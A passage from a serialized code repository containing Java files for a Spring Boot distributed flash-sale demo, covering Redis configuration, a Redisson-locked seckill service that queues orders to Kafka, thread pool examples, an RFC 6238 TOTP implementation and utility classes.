getConnectionPoolSize() {\n\t\treturn connectionPoolSize;\n\t}\n\n\tpublic void setConnectionPoolSize(int connectionPoolSize) {\n\t\tthis.connectionPoolSize = connectionPoolSize;\n\t}\n\n\tpublic int getConnectionMinimumIdleSize() {\n\t\treturn connectionMinimumIdleSize;\n\t}\n\n\tpublic void setConnectionMinimumIdleSize(int connectionMinimumIdleSize) {\n\t\tthis.connectionMinimumIdleSize = connectionMinimumIdleSize;\n\t}\n\n\tpublic int getSlaveConnectionPoolSize() {\n\t\treturn slaveConnectionPoolSize;\n\t}\n\n\tpublic void setSlaveConnectionPoolSize(int slaveConnectionPoolSize) {\n\t\tthis.slaveConnectionPoolSize = slaveConnectionPoolSize;\n\t}\n\n\tpublic int getMasterConnectionPoolSize() {\n\t\treturn masterConnectionPoolSize;\n\t}\n\n\tpublic void setMasterConnectionPoolSize(int masterConnectionPoolSize) {\n\t\tthis.masterConnectionPoolSize = masterConnectionPoolSize;\n\t}\n\n\tpublic String[] getSentinelAddresses() {\n\t\treturn sentinelAddresses;\n\t}\n\n\tpublic void setSentinelAddresses(String sentinelAddresses) {\n\t\tthis.sentinelAddresses = sentinelAddresses.split(\",\");\n\t}\n\n\tpublic String getMasterName() {\n\t\treturn masterName;\n\t}\n\n\tpublic void setMasterName(String masterName) {\n\t\tthis.masterName = masterName;\n\t}\n\n\tpublic Map<String, String> getCluster() {\n\t\treturn cluster;\n\t}\n\n\tpublic void setCluster(Map<String, String> cluster) {\n\t\tthis.cluster = cluster;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/service/ISeckillService.java",
    "content": "/**  \n* <p>Title: ISeckillService.java</p>  \n* <p>Description: </p>  \n* <p>Copyright: Copyright (c) 2018</p>  \n* <p>Company: www.bluemoon.com</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/  \npackage com.jun.plugin.seckill.service;\n\nimport com.jun.plugin.seckill.common.response.SeckillInfoResponse;\n\n/**  \n* <p>Title: ISeckillService</p>  \n* <p>Description: 秒杀相关方法</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/\npublic interface ISeckillService {\n\n\t/**\n\t * 秒杀处理主要逻辑\n\t * <p>Title: startSeckill</p>  \n\t * <p>Description: </p>  \n\t * @param stallActivityId\n\t * @param purchaseNum\n\t * @param openId\n\t * @param formId\n\t * @param addressId\n\t * @return\n\t */\n\tpublic SeckillInfoResponse startSeckill(int stallActivityId, int purchaseNum, String openId, String formId,\n\t\t\tlong addressId, String shareCode, String shareSource, String userCode );\n\t\n\t/**\n\t * 判断秒杀活动是否已经开始\n\t * @param stallActivityId\n\t * @return\n\t */\n\tpublic boolean checkStartSeckill(int stallActivityId);\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/service/impl/SeckillServiceImpl.java",
    "content": "/**  \n* <p>Title: SeckillServiceImpl.java</p>  \n* <p>Description: </p>  \n* <p>Copyright: Copyright (c) 2018</p>  \n* <p>Company: www.bluemoon.com</p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/  \npackage com.jun.plugin.seckill.service.impl;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.jun.plugin.seckill.common.response.SeckillInfoResponse;\nimport com.jun.plugin.seckill.kafka.KafkaSender;\nimport com.jun.plugin.seckill.redis.lock.RedissonDistributedLocker;\nimport com.jun.plugin.seckill.redis.repository.RedisRepository;\nimport com.jun.plugin.seckill.service.ISeckillService;\n\n/**  \n* <p>Title: SeckillServiceImpl</p>  \n* <p>Description: </p>  \n* @author Wujun\n* @date 2018年8月10日  \n*/\n@Service\npublic class SeckillServiceImpl implements ISeckillService {\n\t\n\t@Autowired\n\tprivate RedisRepository redisRepository;\n\t@Autowired\n\tprivate KafkaSender kafkaSender;\n\t@Autowired\n\tprivate RedissonDistributedLocker redissonDistributedLocker;\n\t\n\tprivate Logger logger = LoggerFactory.getLogger(SeckillServiceImpl.class);\n\n\t@Override\n\t@Transactional\n\tpublic SeckillInfoResponse startSeckill(int stallActivityId, int purchaseNum, String openId, String formId, long addressId,\n\t\t\t String shareCode, String shareSource, String userCode) {\n\t\tSeckillInfoResponse response = new SeckillInfoResponse();\n\t\t//判断秒杀活动是否开始\n\t\tif( !checkStartSeckill(stallActivityId) ) {\n\t\t\tresponse.setIsSuccess(false);\n\t\t\tresponse.setResponseCode(6205);\n\t\t\tresponse.setResponseMsg(\"秒杀活动尚未开始，请稍等！\");\n\t\t\tresponse.setRefreshTime(0);\n\t\t\treturn response;\n\t\t}\n\t\tlogger.info(\"开始获取锁资源...\");\n\t\tString lockKey = \"BM_MARKET_SECKILL_\" + stallActivityId;\n\t\ttry {\n\t\t\tredissonDistributedLocker.lock(lockKey, 2L);\n\t\t\tlogger.info(\"获取到锁资源...\");\n\t\t\t//做用户重复购买校验\n\t\t\tif( redisRepository.exists(\"BM_MARKET_SECKILL_LIMIT_\" + stallActivityId + \"_\" + openId) ) {\n\t\t\t\tlogger.info(\"已经检测到用户重复购买...\");\n\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\tresponse.setResponseCode(6105);\n\t\t\t\tresponse.setResponseMsg(\"您正在参与该活动，不能重复购买\");\n\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t} else {\n\t\t\t\tString redisStock = redisRepository.get(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId);\n\t\t\t\tint surplusStock = Integer.parseInt(redisStock == null ? \"0\" : redisStock);\t//剩余库存\n\t\t\t\t//如果剩余库存大于购买数量，则进入消费队列\n\t\t\t\tif( surplusStock >= purchaseNum ) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\t//锁定库存，并将请求放入消费队列\n\t\t\t\t\t\tredisRepository.decrBy(\"BM_MARKET_SECKILL_STOCKNUM_\" + stallActivityId, purchaseNum);\n\t\t\t\t\t\tJSONObject jsonStr = new JSONObject();\n\t\t\t\t\t\tjsonStr.put(\"stallActivityId\", stallActivityId);\n\t\t\t\t\t\tjsonStr.put(\"purchaseNum\", purchaseNum);\n\t\t\t\t\t\tjsonStr.put(\"openId\", openId);\n\t\t\t\t\t\tjsonStr.put(\"addressId\", addressId);\n\t\t\t\t\t\tjsonStr.put(\"formId\", formId);\n\t\t\t\t\t\tjsonStr.put(\"shareCode\", shareCode);\n\t\t\t\t\t\tjsonStr.put(\"shareSource\", shareSource);\n\t\t\t\t\t\tjsonStr.put(\"userCode\", userCode);\n\t\t\t\t\t\t//放入kafka消息队列\n\t\t\t\t\t\tkafkaSender.sendChannelMess(\"demo_seckill\", jsonStr.toString());\n//\t\t\t\t\t\tmessageQueueService.sendMessage(\"bm_market_seckill\", jsonStr.toString(), true);\n\t\t\t\t\t\t//此处还应该标记一个seckillId和openId的唯一标志来给轮询接口判断请求是否已经处理完成，需要在下单完成之后去维护删除该标志，并且创建一个新的标志，并存放orderId\n\t\t\t\t\t\tredisRepository.set(\"BM_MARKET_LOCK_POLLING_\" + stallActivityId + \"_\" + openId, \"true\");\n\t\t\t\t\t\t//维护一个key，防止用户在该活动重复购买，当支付过期之后应该维护删除该标志\n\t\t\t\t\t\tredisRepository.setExpire(\"BM_MARKET_SECKILL_LIMIT_\" + stallActivityId + \"_\" + openId, \"true\", 3600*24*7);\n\t\t\t\t\t\t\n\t\t\t\t\t\tresponse.setIsSuccess(true);\n\t\t\t\t\t\tresponse.setResponseCode(6101);\n\t\t\t\t\t\tresponse.setResponseMsg(\"排队中，请稍后\");\n\t\t\t\t\t\tresponse.setRefreshTime(1000);\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\t\t\tresponse.setResponseCode(6102);\n\t\t\t\t\t\tresponse.setResponseMsg(\"秒杀失败，商品已经售罄\");\n\t\t\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t\t\t}\n\t\t\t\t}else {\n\t\t\t\t\t//需要在消费端维护一个真实的库存损耗值，用来显示是否还有未完成支付的用户\n\t\t\t\t\tString redisRealStock = redisRepository.get(\"BM_MARKET_SECKILL_REAL_STOCKNUM_\" + stallActivityId);\n\t\t\t\t\tint realStock = Integer.parseInt(redisRealStock == null ? \"0\" : redisRealStock);\t//剩余的真实库存 \n\t\t\t\t\tif( realStock > 0 ) {\n\t\t\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\t\t\tresponse.setResponseCode(6103);\n\t\t\t\t\t\tresponse.setResponseMsg(\"秒杀失败，还有部分订单未完成支付，超时将返还库存\");\n\t\t\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresponse.setIsSuccess(false);\n\t\t\t\t\t\tresponse.setResponseCode(6102);\n\t\t\t\t\t\tresponse.setResponseMsg(\"秒杀失败，商品已经售罄\");\n\t\t\t\t\t\tresponse.setRefreshTime(0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tresponse.setIsSuccess(false);\n\t\t\tresponse.setResponseCode(6102);\n\t\t\tresponse.setResponseMsg(\"秒杀失败，商品已经售罄\");\n\t\t\tresponse.setRefreshTime(0);\n\t\t} finally {\n\t\t\tlogger.info(\"开始释放锁资源...\");\n\t\t\tredissonDistributedLocker.unlock(lockKey);  //释放锁\n\t\t}\n\t\treturn response;\n\t}\n\t\n\t/**\n\t * 判断秒杀活动是否已经开始\n\t * <p>Title: checkStartSeckill</p>  \n\t * <p>Description: </p>  \n\t * @param stallActivityId\n\t * @return\n\t */\n\t@Override\n\tpublic boolean checkStartSeckill(int stallActivityId) {\n\t\t//此处已经省略了业务代码，良好的操作时应该将秒杀活动的开始时间在新增/编辑主数据的是维护到redis中，并维护好key值，此处取出，然后做出判断\n\t\t//默认为开始了\n\t\treturn true;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/CallableAndFuture.java",
    "content": "package com.jun.plugin.seckill.threads;\n\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.CompletionService;\nimport java.util.concurrent.ExecutorCompletionService;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\n\n/**\n * 执行多个带返回值的任务，并取得多个返回值\n * 异步非阻塞获取并行任务执行结果\n * @author Wujun\n * @date 2019年1月9日 下午3:56:46\n *\n */\npublic class CallableAndFuture {\n\t\n\tpublic static void main(String[] args) {\n\t\tExecutorService threadPool = Executors.newCachedThreadPool();\n\t\tCompletionService<Integer> cs = new ExecutorCompletionService<Integer>(threadPool);\n\t\tfor (int i = 0; i < 5; i++) {\n\t\t\tfinal int taskId = i;\n\t\t\tcs.submit(new Callable<Integer>() {\n\t\t\t\t\n\t\t\t\t@Override\n\t\t\t\tpublic Integer call() throws Exception {\n\t\t\t\t\t//taskId为3的时候等待3s，最后输出的结果永远是3，证明获取结果是非阻塞\n\t\t\t\t\tif( taskId == 3 ) {\n\t\t\t\t\t\tThread.sleep(3000);\n\t\t\t\t\t}\n\t\t\t\t\treturn taskId;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\t\t\n\t\tthreadPool.shutdown();\n\t\tfor (int i = 0; i < 5; i++) {\n\t\t\ttry {\n\t\t\t\tSystem.out.println(cs.take().get());\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/CallableAndFuture2.java",
    "content": "package com.jun.plugin.seckill.threads;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.concurrent.Callable;\nimport java.util.concurrent.ExecutionException;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.Future;\n\n/**\n * 使用ExecutorService、Callable、Future实现有返回结果的多线程\n * @author Wujun\n * @date 2019年1月9日 下午4:37:32\n *\n */\npublic class CallableAndFuture2 {\n\t\n\t@SuppressWarnings({ \"rawtypes\", \"unchecked\" })\n\tpublic static void main(String[] args) throws InterruptedException, ExecutionException {\n\t\tSystem.out.println(\"----程序开始运行----\");\n\t\tlong time1 = System.currentTimeMillis();\n\t\t\n\t\tint taskSize = 5;\n\t\t//创建一个线程池\n\t\tExecutorService threadPool = Executors.newFixedThreadPool(taskSize);\n\t\t//创建多个有返回值的任务\n\t\tList<Future> list = new ArrayList<Future>();\n\t\tfor (int i = 0; i < taskSize; i++) {\n\t\t\tCallable callable = new MyCallable(i + \"\");\n\t\t\t//执行任务并获取Future对象\n\t\t\tFuture future = threadPool.submit(callable);\n\t\t\tlist.add(future);\n\t\t}\n\t\t\n\t\t//关闭线程池\n\t\tthreadPool.shutdown();\n\t\t\n\t\t//获取所有并发任务的运行结果\n\t\tfor( Future future : list ) {\n\t\t\t//从Future对象上获取任务的返回值，并输出到控制台\n\t\t\tSystem.out.println(\">>>\" + future.get().toString() );\n\t\t}\n\t\tlong time2 = System.currentTimeMillis();\n\t\tSystem.out.println(\"----程序运行结束----，程序运行时间【\" + (time2 - time1) + \"毫秒】\");\n\t}\n\n\tstatic class MyCallable implements Callable<Object> {\n\n\t\tprivate String taskNum;\n\t\t\n\t\tpublic MyCallable(String taskNum) {\n\t\t\tthis.taskNum = taskNum;\n\t\t}\n\t\t\n\t\t@Override\n\t\tpublic Object call() throws Exception {\n\t\t\tSystem.out.println(\">>>\" + taskNum + \"任务启动\");\n\t\t\tlong startTime = System.currentTimeMillis();\n\t\t\tif(\"1\".equals(taskNum)) {\n\t\t\t\tThread.sleep(1500);\n\t\t\t}else {\n\t\t\t\tThread.sleep(1000);\n\t\t\t}\n\t\t\tlong endTime = System.currentTimeMillis();\n\t\t\tSystem.out.println(\">>>\" + taskNum + \"任务终止\");\n\t\t\treturn taskNum + \"任务返回运行结果，当前任务运行时间【\" + (endTime - startTime) + \"毫秒】\";\n\t\t}\n\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/Totp.java",
    "content": "package com.jun.plugin.seckill.threads;\n\n/**\nCopyright (c) 2011 IETF Trust and the persons identified as\nauthors of the code. All rights reserved.\nRedistribution and use in source and binary forms, with or without\nmodification, is permitted pursuant to, and subject to the license\nterms contained in, the Simplified BSD License set forth in Section\n4.c of the IETF Trust's Legal Provisions Relating to IETF Documents\n(http://trustee.ietf.org/license-info).\n */\n \nimport java.lang.reflect.UndeclaredThrowableException;\nimport java.security.GeneralSecurityException;\nimport java.util.Date;\nimport javax.crypto.Mac;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.math.BigInteger;\n \n/**\n * TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法。\n * 它已被采纳为Internet工程任务组标准RFC 6238，是Initiative for Open Authentication（OATH）的基石，并被用于许多双因素身份验证系统。\n * \n * TOTP是基于散列的消息认证码（HMAC）的示例。 它使用加密哈希函数将密钥与当前时间戳组合在一起以生成一次性密码。 \n * 由于网络延迟和不同步时钟可能导致密码接收者必须尝试一系列可能的时间来进行身份验证，因此时间戳通常以30秒的间隔增加，从而减少了潜在的搜索空间。\n * \n * 该算法是网银动态口令实现的基石，如中国银行的动态口令就是基于此算法实现\n * @author Wujun\n * @date 2019年5月24日 下午5:23:07\n *\n */\npublic class Totp {\n \n    private Totp() {\n    }\n \n    /**\n     * This method uses the JCE to provide the crypto algorithm. HMAC computes a\n     * Hashed Message Authentication Code with the crypto hash algorithm as a\n     * parameter.\n     * \n     * @param crypto\n     *            : the crypto algorithm (HmacSHA1, HmacSHA256, HmacSHA512)\n     * @param keyBytes\n     *            : the bytes to use for the HMAC key\n     * @param text\n     *            : the message or text to be authenticated\n     */\n    private static byte[] hmac_sha(String crypto, byte[] keyBytes, byte[] text) {\n        try {\n            Mac hmac;\n            hmac = Mac.getInstance(crypto);\n            SecretKeySpec macKey = new SecretKeySpec(keyBytes, \"RAW\");\n            hmac.init(macKey);\n            return hmac.doFinal(text);\n        } catch (GeneralSecurityException gse) {\n            throw new UndeclaredThrowableException(gse);\n        }\n    }\n \n    /**\n     * This method converts a HEX string to Byte[]\n     * \n     * @param hex\n     *            : the HEX string\n     * \n     * @return: a byte array\n     */\n \n    private static byte[] hexStr2Bytes(String hex) {\n        // Adding one byte to get the right conversion\n        // Values starting with \"0\" can be converted\n        byte[] bArray = new BigInteger(\"10\" + hex, 16).toByteArray();\n \n        // Copy all the REAL bytes, not the \"first\"\n        byte[] ret = new byte[bArray.length - 1];\n        for (int i = 0; i < ret.length; i++)\n            ret[i] = bArray[i + 1];\n        return ret;\n    }\n \n    private static final int[] DIGITS_POWER\n    // 0 1 2 3 4 5 6 7 8\n    = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000 };\n \n    /**\n     * This method generates a TOTP value for the given set of parameters.\n     * \n     * @param key\n     *            : the shared secret, HEX encoded\n     * @param time\n     *            : a value that reflects a time\n     * @param returnDigits\n     *            : number of digits to return\n     * \n     * @return: a numeric String in base 10 that includes\n     *          {@link truncationDigits} digits\n     */\n \n    public static String generateTOTP(String key, String time,\n            String returnDigits) {\n        return generateTOTP(key, time, returnDigits, \"HmacSHA1\");\n    }\n \n    /**\n     * This method generates a TOTP value for the given set of parameters.\n     * \n     * @param key\n     *            : the shared secret, HEX encoded\n     * @param time\n     *            : a value that reflects a time\n     * @param returnDigits\n     *            : number of digits to return\n     * \n     * @return: a numeric String in base 10 that includes\n     *          {@link truncationDigits} digits\n     */\n \n    public static String generateTOTP256(String key, String time,\n            String returnDigits) {\n        return generateTOTP(key, time, returnDigits, \"HmacSHA256\");\n    }\n \n    /**\n     * This method generates a TOTP value for the given set of parameters.\n     * \n     * @param key\n     *            : the shared secret, HEX encoded\n     * @param time\n     *            : a value that reflects a time\n     * @param returnDigits\n     *            : number of digits to return\n     * \n     * @return: a numeric String in base 10 that includes\n     *          {@link truncationDigits} digits\n     */\n \n    public static String generateTOTP512(String key, String time,\n            String returnDigits) {\n        return generateTOTP(key, time, returnDigits, \"HmacSHA512\");\n    }\n \n    /**\n     * This method generates a TOTP value for the given set of parameters.\n     * \n     * @param key\n     *            : the shared secret, HEX encoded\n     * @param time\n     *            : a value that reflects a time\n     * @param returnDigits\n     *            : number of digits to return\n     * @param crypto\n     *            : the crypto function to use\n     * \n     * @return: a numeric String in base 10 that includes\n     *          {@link truncationDigits} digits\n     */\n \n    public static String generateTOTP(String key, String time,\n            String returnDigits, String crypto) {\n        int codeDigits = Integer.decode(returnDigits).intValue();\n        String result = null;\n \n        // Using the counter\n        // First 8 bytes are for the movingFactor\n        // Compliant with base RFC 4226 (HOTP)\n        while (time.length() < 16)\n            time = \"0\" + time;\n \n        // Get the HEX in a Byte[]\n        byte[] msg = hexStr2Bytes(time);\n        byte[] k = hexStr2Bytes(key);\n        byte[] hash = hmac_sha(crypto, k, msg);\n \n        // put selected bytes into result int\n        int offset = hash[hash.length - 1] & 0xf;\n \n        int binary = ((hash[offset] & 0x7f) << 24)\n                | ((hash[offset + 1] & 0xff) << 16)\n                | ((hash[offset + 2] & 0xff) << 8) | (hash[offset + 3] & 0xff);\n \n        int otp = binary % DIGITS_POWER[codeDigits];\n \n        result = Integer.toString(otp);\n        while (result.length() < codeDigits) {\n            result = \"0\" + result;\n        }\n        return result;\n    }\n \n    /*public static void main(String[] args) {\n        // Seed for HMAC-SHA1 - 20 bytes\n        String seed = \"3132333435363738393031323334353637383930\";\n        // Seed for HMAC-SHA256 - 32 bytes\n        String seed32 = \"3132333435363738393031323334353637383930\"\n                + \"313233343536373839303132\";\n        // Seed for HMAC-SHA512 - 64 bytes\n        String seed64 = \"3132333435363738393031323334353637383930\"\n                + \"3132333435363738393031323334353637383930\"\n                + \"3132333435363738393031323334353637383930\" + \"31323334\";\n        long T0 = 0;\n        long X = 30;\n        long testTime[] = { 59L, 1111111109L, 1111111111L, 1234567890L,\n                2000000000L, 20000000000L };\n \n        String steps = \"0\";\n        DateFormat df = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        df.setTimeZone(TimeZone.getTimeZone(\"UTC\"));\n        try {\n            System.out.println(\"+---------------+-----------------------+\"\n                    + \"------------------+--------+--------+\");\n            System.out.println(\"|  Time(sec)    |   Time (UTC format)   \"\n                    + \"| Value of T(Hex)  |  TOTP  | Mode   |\");\n            System.out.println(\"+---------------+-----------------------+\"\n                    + \"------------------+--------+--------+\");\n \n            for (int i = 0; i < testTime.length; i++) {\n                long T = (testTime[i] - T0) / X;\n                steps = Long.toHexString(T).toUpperCase();\n                while (steps.length() < 16)\n                    steps = \"0\" + steps;\n                String fmtTime = String.format(\"%1$-11s\", testTime[i]);\n                String utcTime = df.format(new Date(testTime[i] * 1000));\n                System.out.print(\"|  \" + fmtTime + \"  |  \" + utcTime + \"  | \"\n                        + steps + \" |\");\n                System.out.println(generateTOTP(seed, steps, \"8\", \"HmacSHA1\")\n                        + \"| SHA1   |\");\n                System.out.print(\"|  \" + fmtTime + \"  |  \" + utcTime + \"  | \"\n                        + steps + \" |\");\n                System.out.println(generateTOTP(seed32, steps, \"8\",\n                        \"HmacSHA256\") + \"| SHA256 |\");\n                System.out.print(\"|  \" + fmtTime + \"  |  \" + utcTime + \"  | \"\n                        + steps + \" |\");\n                System.out.println(generateTOTP(seed64, steps, \"8\",\n                        \"HmacSHA512\") + \"| SHA512 |\");\n \n                System.out.println(\"+---------------+-----------------------+\"\n                        + \"------------------+--------+--------+\");\n            }\n        } catch (final Exception e) {\n            System.out.println(\"Error : \" + e);\n        }\n    }*/\n    \n    \n    public static void main(String[] args) {\n        try {\n\n            for (int j = 0; j < 10; j++) {\n            \tlong now = new Date().getTime();\n            \tSystem.out.println(now);\n                String totp = generateTOTP(\"123456\", Long.toString(now), \"8\", \"HmacSHA256\");\n                System.out.println(String.format(\"加密后: %s\", totp));\n                //Thread.sleep(1000);\n            }\n\n        } catch (final Exception e) {\n            e.printStackTrace();\n        }\n    }\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/UserRejectHandler.java",
    "content": "package com.jun.plugin.seckill.threads;\n\nimport java.util.concurrent.RejectedExecutionHandler;\nimport java.util.concurrent.ThreadPoolExecutor;\n\n/**\n * 拒绝策略应该考虑到业务场景，返回响应的提示或者友好的跳转\n * 如下示例为简单实例，在实际应用中应该根据业务场景进行调整\n * @author Wujun\n * @date 2019年5月24日 上午11:54:09\n *\n */\npublic class UserRejectHandler implements RejectedExecutionHandler {\n\n\t@Override\n\tpublic void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {\n\t\t System.out.println(\"task rejected. \" + executor.toString());\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/UserThreadFactory.java",
    "content": "package com.jun.plugin.seckill.threads;\n\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicInteger;\n\n/**\n * 线程工厂\n * @author Wujun\n * @date 2019年5月24日 上午11:20:52\n *\n */\npublic class UserThreadFactory implements ThreadFactory{\n\n\tprivate final String namePrefix;\n\tprivate final AtomicInteger nextId = new AtomicInteger(1);\n\t\n\tpublic UserThreadFactory(String whatFeatureOfGroup) {\n\t\tthis.namePrefix = \"UserThreadFactory's \" + whatFeatureOfGroup + \"-Worker-\";\n\t}\n\n\t@Override\n\tpublic Thread newThread(Runnable r) {\n\t\tString name = namePrefix + nextId.getAndIncrement();\n\t\tThread thread = new Thread(null, r, name, 0);\n\t\tSystem.out.println(thread.getName());\n\t\treturn thread;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/threads/UserThreadPool.java",
    "content": "package com.jun.plugin.seckill.threads;\n\nimport java.util.concurrent.BlockingQueue;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * 多线程编程\n * @author Wujun\n * @date 2019年5月24日 下午5:19:35\n *\n */\npublic class UserThreadPool {\n\t\n\tpublic static void main(String[] args) {\n\t\t//缓存队列设置固定长度为2，为了快速出发rejectHandler\n\t\tBlockingQueue<Runnable> queue = new LinkedBlockingQueue<Runnable>(2);\n\t\t//假设外部任务线程的来源由机房1和机房2的混合调用\n\t\tUserThreadFactory f1 = new UserThreadFactory(\"第1机房\");\n\t\tUserThreadFactory f2 = new UserThreadFactory(\"第2机房\");\n\t\t\n\t\tUserRejectHandler handler = new UserRejectHandler();\n\t\t\n\t\t//核心线程为1，最大线程为2，为了保证触发rejectHandler\n\t\tThreadPoolExecutor threadPoolFirst = new ThreadPoolExecutor(1, 2, 60, TimeUnit.SECONDS, queue, f1, handler);\n\t\t//利用第二个线程工厂实例创建第二个线程池\n\t\tThreadPoolExecutor threadPoolSecond = new ThreadPoolExecutor(1, 2, 60, TimeUnit.SECONDS, queue, f2, handler);\n\t\t\n\t\t//创建400个任务线程\n\t\tRunnable task = new Task();\n\t\tfor(int i = 0; i < 200; i++ ) {\n\t\t\tthreadPoolFirst.execute(task);\n\t\t\tthreadPoolSecond.execute(task);\n\t\t}\n\t}\n\t\n\tstatic class Task implements Runnable{\n\t\tprivate final AtomicLong count = new AtomicLong(0L);\n\t\t\n\t\t@Override\n\t\tpublic void run() {\n\t\t\tSystem.out.println(\"running_\" + count.getAndIncrement());\n\t\t}\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/utils/AssertUtil.java",
    "content": "package com.jun.plugin.seckill.utils;\n\nimport java.util.Collection;\n\nimport org.springframework.util.Assert;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.util.StringUtils;\n\nimport com.jun.plugin.seckill.common.exception.AssertException;\n\n/**\n * 断言工具\n * Created by Guoqing on 2016/10/22.\n */\npublic class AssertUtil extends Assert {\n    \n\t/**\n\t * 判布尔型\n\t * @param expression\n\t * @param code\n\t * @param message\n\t */\n    public static void isTrue(boolean expression, int code, String message) {\n\t\tif (!expression) {\n\t\t\tthrow new AssertException(code,message);\n\t\t}\n\t}\n\n    /**\n     * 判对象为空\n     * @param object\n     * @param code\n     * @param message\n     */\n\tpublic static void isNull(Object object, int code, String message) {\n\t\tif (object != null) {\n\t\t\tthrow new AssertException(code,message);\n\t\t}\n\t}\n\n\t/**\n\t * 判对象非空\n\t * @param object\n\t * @param code\n\t * @param message\n\t */\n\tpublic static void notNull(Object object, int code, String message) {\n\t\tif (object == null) {\n\t\t\tthrow new AssertException(code,message);\n\t\t}\n\t}\n\n\t/**\n\t * 判字符串是否有值\n\t * @param text\n\t * @param code\n\t * @param message\n\t */\n\tpublic static void hasLength(String text, int code, String message) {\n\t\tif (!StringUtils.hasLength(text)) {\n\t\t\tthrow new AssertException(code,message);\n\t\t}\n\t}\n\n\t/**\n\t * 判集合是否为空\n\t * @param collection\n\t * @param code\n\t * @param message\n\t */\n\tpublic static void notEmpty(Collection<?> collection, int code, String message) {\n\t\tif (CollectionUtils.isEmpty(collection)) {\n\t\t\tthrow new AssertException(code,message);\n\t\t}\n\t}\n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/utils/DateUtil.java",
    "content": "package com.jun.plugin.seckill.utils;\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.TimeZone;\n\n/**\n * \n * @Description: 日期工具类\n * @author Wujun\n * @date Nov 13, 2012\n * @version V1.0\n */\npublic class DateUtil {\n\t\n\t/**\n\t * get current date\n\t */\n\tpublic static Date getCurrentDate() {\n\t\treturn new Date();\n\t}\n\n    /**\n     * serialVersionUID\n     */\n    private static final long serialVersionUID = 1238226379012286690L;\n    /**\n     * AM/PM\n     */\n    public static final String AM_PM = \"a\";\n    /**\n     * 一个月里第几天\n     */\n    public static final String DAY_IN_MONTH = \"dd\";\n    /**\n     * 一年里第几天\n     */\n    public static final String DAY_IN_YEAR = \"DD\";\n    /**\n     * 一周里第几天(从Sunday开始)\n     */\n    public static final String DAY_OF_WEEK = \"EEEE\";\n    /**\n     * 以天为单位\n     */\n    public static final int DIFF_DAY = Calendar.DAY_OF_MONTH;\n    /**\n     * 以小时为单位\n     */\n    public static final int DIFF_HOUR = Calendar.HOUR_OF_DAY;\n    /**\n     * 以毫秒为单位\n     */\n    public static final int DIFF_MILLSECOND = Calendar.MILLISECOND;\n    /**\n     * 以分钟为单位\n     */\n    public static final int DIFF_MINUTE = Calendar.MINUTE;\n    /**\n     * 以月份为单位，按照每月30天计算\n     */\n    public static final int DIFF_MONTH = Calendar.MONTH;\n    /**\n     * 以秒为单位\n     */\n    public static final int DIFF_SECOND = Calendar.SECOND;\n    /**\n     * 以星期为单位，按照每星期7天计算\n     */\n    public static final int DIFF_WEEK = Calendar.WEEK_OF_MONTH;\n    /**\n     * 以年为单位，按照每年365天计算\n     */\n    public static final int DIFF_YEAR = Calendar.YEAR;\n    /**\n     * 半天内小时(0-11)\n     */\n    public static final String HOUR_IN_APM 